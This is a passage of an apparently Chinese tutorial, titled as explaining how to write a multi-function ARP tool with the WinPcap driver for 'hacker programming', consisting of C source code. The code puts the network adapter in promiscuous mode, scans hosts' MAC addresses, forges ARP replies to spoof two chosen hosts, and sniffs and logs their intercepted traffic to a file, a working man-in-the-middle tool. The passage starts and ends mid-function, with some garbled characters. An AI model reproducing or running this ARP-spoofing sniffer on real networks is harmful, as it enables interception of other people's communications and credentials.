详谈调用winpcap驱动写arp多功能工具(.txt

可以对黑客编程有一定的了解

    while(off<ulbytesreceived)
    {
        if(kbhit())
        {
            return ;
        }
        hdr=(struct bpf_hdr *)(buf+off);
        off+=hdr->bh_hdrlen;

        pChar=(char *)(buf+off);
        base=pChar;
        off=Packet_WORDALIGN(off+hdr->bh_caplen);

        eth=(PETHDR)pChar;                
        arp=(PARPHDR)(pChar+sizeof(ETHDR)); 

        if(eth->eh_type==htons(ETH_IP)) 
        {
                    ip=(PIPHDR)(pChar+sizeof(ETHDR));

            if(fm && sm && (op==3))  
            {  
                if((((ip->sourceip!=htonl(myip)) && (ip->destip!=htonl(myip)) 
                                && !strcmp((char *)eth->eh_dst,(char *)mmac)) 
                && ((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip)) 
                || (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip))))
                                || ((firstip==myip) && (secondip==myip)))
                {
                    memset(msg,0,sizeof(msg));

                    sin.sin_addr.s_addr=ip->sourceip;                
                    printf("[IP:]%16s ---> [IP:]",inet_ntoa(sin.sin_addr));

                                        strcpy(msg,inet_ntoa(sin.sin_addr));
                    strcat(msg+15," ---> ");

                    sin.sin_addr.s_addr=ip->destip;
                    printf("%16s\n",inet_ntoa(sin.sin_addr));
                   
                    strcat(msg+23,inet_ntoa(sin.sin_addr));
                    fseek(fp,-2,1);
                    fwrite("\r\n\r\n\r\n",6,1,fp);
                    fwrite(msg,38,1,fp);
                    fwrite("\r\n",2,1,fp);

                    ulLines=(hdr->bh_caplen+15)/16;
                    for(k=0;k<ulLines;k++)
                    {
                        pLine=pChar;
                        printf("%08lx : ",pChar-base);

                        ulen=tlen;
                        ulen=(ulen>16) ? 16 : ulen;
                        tlen-=ulen;

                        for(j=0;j<ulen;j++)
                            printf("%02x ",*(BYTE *)pChar++);

                        if(ulen<16)
                            printf("%*s",(16-ulen)*3," ");

                        pChar=pLine;

                        for(j=0;j<ulen;j++,pChar++)
                        {
                            printf("%c",isprint(*pChar)? *pChar : ‘.‘);
                            fputc(isprint(*pChar) ? *pChar : ‘.‘,fp); 
                        }
                        printf("\n");
                    }
                    printf("\n");
                                        fwrite("\r\n",2,1,fp);  
                }

            }
            continue;
        }
                else if((eth->eh_type==htons(ETH_ARP)) && (arp->arp_opt==htons(ARP_REPLY)))  
        {
            sin.sin_addr.s_addr=arp->arp_spa;

             if(sin.sin_addr.s_addr==htonl(myip)) 
        {
            memcpy(mmac,eth->eh_src,6);
        if(!mm)
             {
            printf("\t");    
                     for(k=0;k<5;k++)
                        printf("%.2x-",eth->eh_src[k]);
                  printf("%.2x\n",eth->eh_src[5]);

                    switch(op)
            {
                    case 1:
                         printf("\n[MAC LIST:]");
                        break;
                     case 2:
                        printf("\n[Sniffing Host:]");     
                         break;
                      default:                    
                         break;
            }
        }
            mm=TRUE;
        }

             if((op==1) || (op==2))
            {
                printf("\n[IP:] %.16s  [MAC:] ",inet_ntoa(sin.sin_addr));
                for(k=0;k<5;k++)
                    printf("%.2x-",eth->eh_src[k]);
                printf("%.2x",eth->eh_src[5]);
        }
               else if(((op==3) || (op==4)) && (!fm || !sm))
        {
                if(arp->arp_spa==htonl(firstip))
            {
                    memcpy(fmac,eth->eh_src,6);
                    fm=TRUE;
            }
                
            if(arp->arp_spa==htonl(secondip))
            {
                    memcpy(smac,eth->eh_src,6);
                    sm=TRUE;
            }
        }
    }
    }
    return ;
}
            
DWORD WINAPI sniff(LPVOID no)
{
    int      option=*(int *)no;
    char     recvbuf[1024*250];

    if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
    {
        printf("Warning: Unable to set the adapter to promiscuous mode\n");
    }

    if(PacketSetBuff(lpadapter,500*1024)==FALSE)
    {
        printf("PacketSetBuff Error: %d\n",GetLastError());
        return -1;
    }

    if(PacketSetReadTimeout(lpadapter,1)==FALSE)
    {
        printf("Warning: Unable to set the timeout\n");
    }

    if((lppacketr=PacketAllocatePacket())==FALSE)
    {
        printf("PacketAllocatePacket receive Error: %d\n",GetLastError());
        return -1;
    }

    PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));

    while(!kbhit())
    {
        if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
        {
            if(GetLastError()==6)
                return 0;
                        printf("PacketReceivePacket Error: %d\n",GetLastError());
                    return -1;
        }
        getdata(lppacketr,option);
    }
    return 0;
}

DWORD WINAPI sendMASR(LPVOID no)
{
    int    fun=*(int *)no;
    int    k,stimes;
        char   sendbuf[1024];
    ETHDR  eth;
    ARPHDR arp;

    if(fun<1 || fun>4)
    {
        return -1;
    }
    else
    {
        for(k=0;k<6;k++)
        {
            eth.eh_dst[k]=0xff;
            arp.arp_tha[k]=0x00;
        }
        if(fun==2)
            eth.eh_dst[5]=0xfe;
    }

    memcpy(eth.eh_src,mmac,6);
    eth.eh_type=htons(ETH_ARP);

    arp.arp_hdr=htons(ARP_HARDWARE);
    arp.arp_pro=htons(ETH_IP);
    arp.arp_hln=6;
    arp.arp_pln=4;
    arp.arp_opt=htons(ARP_REQUEST);
    arp.arp_spa=htonl(myip);
    memcpy(arp.arp_sha,mmac,6);

    if(fun==1 || fun==2)
        stimes=1;
    else if(fun==3 || fun==4)
        stimes=2;

    for(k=0;k<stimes;k++)
    {
        if(stimes==1)
        {
            arp.arp_tpa=htonl(firstip+(num++));
        }
        else if(stimes==2)
        {
            switch(k)
            {
            case 0:
                arp.arp_tpa=htonl(firstip);
                break;
            case 1:
                arp.arp_tpa=htonl(secondip);
                break;
            default:
                break;
            }
        }

        memset(sendbuf,0,sizeof(sendbuf));
        memcpy(sendbuf,&eth;,sizeof(eth));
        memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
        {
            printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());
            return -1;
        }
    }
    return 0;
}
        
DWORD WINAPI sendSR(LPVOID no)
{
    int     fun=*(int *)no;
    int     j,k;
    char    sendbuf[1024];
    struct  sockaddr_in  fsin,ssin;
    BOOL    stimes=FALSE;
    ETHDR   eth;
    ARPHDR  arp;

    fsin.sin_addr.s_addr=htonl(firstip);
    ssin.sin_addr.s_addr=htonl(secondip);

    eth.eh_type=htons(ETH_ARP);
    arp.arp_hdr=htons(ARP_HARDWARE);
    arp.arp_pro=htons(ETH_IP);
    arp.arp_hln=6;
    arp.arp_pln=4;
       arp.arp_opt=htons(ARP_REPLY);       

    if(fun==3)
    {
        if(mm)
        {
            if((firstip==myip) && (secondip==myip))
            {
                        fm=TRUE;
                     sm=TRUE;

                memcpy(fmac,mmac,6);
                memcpy(smac,mmac,6);
            }
            else if(!fm || !sm)
            {
                printf("\nNot get enough data\n"); 
                return -1;
            }

            for(j=0;j<2;j++)
            {
                if(j==0)
                {
                    printf("\nSpoofing %.16s :  ",inet_ntoa(fsin.sin_addr));
                    printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));
                }
                else if(j==1)
                {
                    printf("Spoofing %.16s :  ",inet_ntoa(ssin.sin_addr));
                    printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));
                }
                                for(k=0;k<5;k++)
                        printf("%.2x-",mmac[k]);
                    printf("%.2x\n",mmac[5]);
            }
            printf("\ni will try to snoof ...\n\n");
                    stimes=TRUE;
        }
        else 
        {
            printf("\nNot get enough data\n"); 
                return -1;
        }
    }